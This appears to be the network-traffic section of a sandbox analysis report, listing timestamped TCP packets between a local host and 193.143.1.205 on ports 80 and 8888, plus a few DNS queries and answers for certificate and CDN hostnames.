Jan 10, 2025 18:47:32.790879965 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.790890932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.790901899 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.790914059 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.790925980 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.790941000 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.790947914 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.790966988 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.790985107 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.828268051 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.828291893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.828303099 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.828341007 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.828372002 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.828422070 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.828429937 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.828440905 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.828453064 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.828490973 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.828557014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.828592062 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.828617096 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.828633070 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.828668118 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.828721046 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.828773975 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.828866005 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.828907967 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.828919888 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.829029083 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.829088926 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.829138041 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.829149961 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.829161882 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.829171896 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.829200029 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.829232931 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.829293013 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.829330921 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.829343081 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.829368114 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.829472065 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.829483986 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.829495907 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.829508066 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.829534054 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.829628944 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.829641104 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.829670906 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.829694033 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.829797983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.829829931 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.829848051 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.829860926 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.829902887 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.829958916 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.829969883 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.830009937 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.830110073 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.830157995 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.830169916 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.830264091 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.830338955 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.830351114 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.830425024 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.830435038 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.830514908 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.830529928 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.830579996 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.830591917 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.830617905 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.830677986 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.830722094 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.830771923 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.830782890 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.830795050 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.830807924 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.830816984 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.830845118 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.830955029 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.831029892 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.831038952 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.831064939 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.836908102 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.836927891 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.836970091 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.836978912 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.837008953 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.837024927 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.837035894 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.837069988 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.877023935 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.877043009 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.877082109 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.877103090 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.877137899 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.877149105 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.877171040 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.877234936 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.877247095 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.877270937 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.877326012 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.877367020 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.877376080 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.877441883 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.877450943 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.877479076 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.877537012 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.877547979 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.877558947 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.877571106 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.877580881 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.877608061 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.877701998 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.877722025 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.877743959 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.877823114 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.877835035 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.877846956 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.877875090 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.877895117 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.877974033 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.877985954 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.877998114 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.878020048 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.878195047 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.878206968 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.878225088 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.878240108 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.878246069 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.878262997 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.878357887 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.878370047 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.878381014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.878407001 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.878437996 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.878483057 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.878586054 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.878596067 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.878634930 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.878685951 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.878696918 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.878710032 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.878722906 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.878731012 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.878756046 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.878916979 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.878928900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.878942013 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.878951073 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.878967047 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.878979921 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.879041910 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.879097939 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.879122019 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.879132986 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.879143953 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.879158974 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.879298925 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.879309893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.879327059 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.879338980 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.879370928 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.879451036 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.879462957 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.879475117 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.879508018 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.879648924 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.879661083 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.879672050 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.879683971 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.879695892 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.879707098 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.879717112 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.879726887 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.879743099 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.881757975 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.916901112 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.916980028 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.917053938 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.917103052 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.917114019 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.917136908 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.917175055 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.917213917 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.917233944 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.917244911 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.917273045 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.917339087 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.917349100 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.917382956 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.917427063 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.917438030 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.917467117 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.917541027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.917552948 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.917565107 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.917584896 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.917699099 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.917710066 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.917736053 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.917799950 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.917810917 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.917831898 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.917952061 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.917963028 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.917973995 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.917984009 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.917994976 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.918004990 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.918013096 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.918039083 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.918190002 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.918200970 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.918212891 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.918222904 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.918234110 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.918251038 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.918382883 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.918394089 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.918406010 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.918420076 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.918442965 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.918463945 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.918629885 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.918646097 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.918658018 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.918668985 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.918682098 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.918688059 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.918697119 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.918705940 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.918715954 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.918728113 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.918744087 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.918749094 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.918756962 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.919018030 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.919054985 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.919095039 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.919106960 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.919137001 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.919233084 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.919244051 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.919259071 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.919270992 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.919285059 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.919303894 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.919437885 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.919477940 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.919490099 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.919502020 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.919512033 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.919536114 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.925631046 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.925684929 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.925698996 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.925724030 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.925734043 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.925761938 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.925807953 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.925820112 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.925856113 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.925966978 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.925980091 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.926013947 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.965879917 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.965903997 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.965914965 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.966013908 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.966027021 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.966038942 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.966052055 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.966063023 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.966072083 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.966080904 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.966094017 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.966120958 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.966170073 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.966232061 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.966242075 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.966265917 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.966305017 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.966315985 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.966341019 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.966407061 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.966417074 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.966428995 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:32.966439962 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:32.966470003 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:33.215399981 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:33.406291962 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:33.849047899 CET	49710	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:33.855674028 CET	8888	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:33.855755091 CET	49710	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:33.859838963 CET	49710	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:33.865417004 CET	8888	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:34.666415930 CET	8888	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 18:47:34.715010881 CET	49710	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 18:47:36.040189028 CET	49710	8888	192.168.2.6	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:47:46.993922949 CET	58161	53	192.168.2.6	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 18:47:46.993922949 CET	192.168.2.6	1.1.1.1	0x2cf4	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 18:47:47.002265930 CET	1.1.1.1	192.168.2.6	0x2cf4	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:48:10.577131033 CET	1.1.1.1	192.168.2.6	0x74b8	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:48:10.577131033 CET	1.1.1.1	192.168.2.6	0x74b8	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:48:34.716622114 CET	1.1.1.1	192.168.2.6	0x5e43	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:48:34.716622114 CET	1.1.1.1	192.168.2.6	0x5e43	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:48:48.018059015 CET	1.1.1.1	192.168.2.6	0xcff8	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:48:48.018059015 CET	1.1.1.1	192.168.2.6	0xcff8	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:49:10.840536118 CET	1.1.1.1	192.168.2.6	0x7fdf	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:49:10.840536118 CET	1.1.1.1	192.168.2.6	0x7fdf	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:49:10.840536118 CET	1.1.1.1	192.168.2.6	0x7fdf	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:49:10.840536118 CET	1.1.1.1	192.168.2.6	0x7fdf	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:49:10.840536118 CET	1.1.1.1	192.168.2.6	0x7fdf	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:49:10.840536118 CET	1.1.1.1	192.168.2.6	0x7fdf	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
